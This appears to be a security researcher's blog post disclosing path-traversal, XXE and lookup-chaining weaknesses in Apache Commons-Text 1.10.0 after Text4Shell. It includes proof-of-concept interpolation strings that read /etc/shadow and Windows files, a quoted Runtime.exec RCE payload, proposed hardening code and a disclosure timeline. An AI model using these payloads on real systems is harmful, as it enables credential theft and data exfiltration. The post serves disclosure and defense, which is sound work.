Vulnerabilities In Apache Commons-Text 1.10.0

 

Vulnerabilities In 

Apache Commons-Text 1.10.0

Abstract

In October 2022 a vulnerability in Apache Commons-Text was reported (CVE-2022-42889) dubbed "Text4Shell". This vulnerability, while less prevalent, acted somewhat similar to log4shell which used interpolators to perform string lookups on user defined input that resulted in code execution. Like most software, there's often other related issue(s) found in neighboring code that don't get fixed when a big issue like this is reported. This blog is on those other vulnerabilities. 

Background 

CVE-2022-42889 "Text4Shell" was centered on an unsafe script evaluation found in the ScriptStringLookup. A POC looked like the following (seen at GHSL-2022-018):

final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}");
System.out.println(out);

Where the value in the replace() function is a user supplied value that triggers the script interpolator function. The script interpolator then evaluated the supplied javascript, resulting in the execution of unexpected code. 

This was 'fixed' in 1.10.0 by removing various interpolators from the default setup found in the commit.  

As commons-text team pointed out, users of this library may pass values without proper sanitization and for that reason decided to update the configuration to be more "secure by default". 

At this point most people viewed this as fixed and moved on. However, I got interested in reviewing what other vulnerabilities could exist in the other interpolator functions that weren't removed.  While I didn't find an RCE, out of the box, I did find some interesting security vulnerabilities that in most applications would be a huge problem. 

Vulnerability Analysis

XMLStringLookup

First finding I discovered was in the XMLStringLookup. Looking at the code I noticed it didn't validate the xml being passed nor did it block external entity processing. It just reads the file and passes it to XPathFactory to parse. 

return XPathFactory.newInstance().newXPath().evaluate(xpath, new InputSource(inputStream));

XPathImpl ultimately calls DomParser directly without any xxe protections:

 DocumentBuilderFactory dbf = FactoryImpl.getDOMFactory(useServiceMechanism);
            dbf.setNamespaceAware(true);
            dbf.setValidating(false);
            return dbf.newDocumentBuilder().parse(source);

This means if I could control the xml file being used and point to it in the replace function I could use an XXE vulnerability to steal information via file exfiltration from a target application to an external server or cause a DoS

POC Example 1 :

${xml:xxe.xml:test}

Looking further I noticed this function contained a path traversal. This meant you could point to any xml file on the system. So if the application using the library uploaded files to some location you could use those xml files. 

POC Example 2:

${xml:../../../../../tmp/xxe.xml:test}

While researching this issue I noticed other xxe payloads could be used like error-based file exfiltration like the one @frycos came up with here. In that situation the desired file could be leaked in the error message. Since lots of java web applications often leak stacktraces, this would likely work well. 

PropertiesStringLookup

Next I looked up the list of interpolators and noticed the properties function also accepted a file path and also didn't validate the paths being passed to it. The properties function then takes in a file doesn't validate it, but effectively converts it into a key-value map and the interpolator will provide you the value of the key you are looking for. 

So to get the root password from the shadow file all you needed to do was the following.

POC Example 3:

${properties:../../../../../../../../etc/shadow::root}

FileStringLookup

After noticing all the previous issues, I decided to take a look finally at the file interpolator. Similar to the others it also didn't validate the path being passed to it. So you could traverse the whole system to find any file and return the entire contents of that file:

POC Example 4:

 

${file:UTF-8:../../../../../../../../etc/shadow}

On Windows systems you could even specify the drive and directly path to the file. Also found by Strio

POC Example 5:

 

${file:UTF-8:C:/Windows/System32/Drivers/etc/hosts}

${file:UTF-8:D:/testfile}

Or even use UNC Path to access files on connected servers

POC Example 6:

 

${file:UTF-8://servera/testfile}

Chaining Lookups

Looking further I noticed the ability to chain lookups. In order to chain lookups you need to have setEnableSubstitutionInVariables to true 

 

StringSubstitutor str =  StringSubstitutor.createInterpolator();
str.setEnableSubstitutionInVariables(true);
str.replace("${properties:http://127.0.0.1:8000/${file:UTF-8:../../../../../Windows/System32/drivers/etc/hosts}}")


Outputs: ...
# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	] and key [1             localhost

127.0.0.1 localhost
# End of section
].
	at org.apache.commons.text.lookup.IllegalArgumentExceptions.format(IllegalArgumentExceptions.java:49)
	at org.apache.commons.text.lookup.PropertiesStringLookup.lookup(PropertiesStringLookup.java:107)
	at org.apache.commons.text.lookup.InterpolatorStringLookup.lookup(InterpolatorStringLookup.java:127)
	at org.apache.commons.text.StringSubstitutor.resolveVariable(StringSubstitutor.java:1148)
	at org.apache.commons.text.StringSubstitutor.substitute(StringSubstitutor.java:1514)
	at org.apache.commons.text.StringSubstitutor.substitute(StringSubstitutor.java:1389)
	at org.apache.commons.text.StringSubstitutor.replace(StringSubstitutor.java:893)

Partial Fix

Here's a few ideas around fixes that could help harden these issues that I also shared with Apache Commons-Text. 

For all path traversal issues use something like the following:

 

File file = new File(documentPath);

if (!file.getAbsolutePath().equals(file.getCanonicalPath())) {
      throw new IOException("Absolute path not equal to canonical path");
}

For the xxe issue add this to XMLStringLookup to disallow doctype

 

     try {
        	
        	File file = new File(documentPath);

        	if (!file.getAbsolutePath().equals(file.getCanonicalPath())) {
        	        throw new IOException("Absolute path not equal to canonical path");
        	}
        	
        	InputStream inputStream = Files.newInputStream(Paths.get(documentPath));
        	DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();
        	
        	docBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        	docBuilderFactory.setXIncludeAware(false);
        	
        	DocumentBuilder docBuilder = docBuilderFactory.newDocumentBuilder();
        	Document xmlDocument = docBuilder.parse(inputStream);
        	
            return XPathFactory.newInstance().newXPath().evaluate(xpath, xmlDocument);
            
        } catch (final Exception e) {
            throw IllegalArgumentExceptions.format(e, "Error looking up XML document [%s] and XPath [%s].",
                documentPath, xpath);
        } 

The path traversal should also have further hardening, like limiting to just files in the package directory/doc root by default and allowing users to open this restriction based on their configuration.

Timeline
Sep 24th 2022 - 1.10.0 Released with fix for CVE-2022-42889
Oct 14th  2022 - Reached out to share vulnerability
Oct 28th 2022 - Shared details of XXE issue
Mar 10th 2023 - Apache Commons Text team informed me they don't consider this a security vulnerability because this is a "low-level" library and its the responsibility of the application to sanitize the input.
May 5th 2023 - Provided all other vulnerabilities and code hardening fixes to Apache Commons Text team
May 6th 2023 - Apache Commons Text team informed me they still don't consider these security vulnerabilities and pointed me to https://commons.apache.org/security.html which as of April 20 2023 was updated to say "The Commons libraries are low-level libraries that are typically designed to work with input that is either trusted or validated/sanitized by the application using the library. It is not safe to provide possibly-malicious input to Commons libraries unless otherwise specified."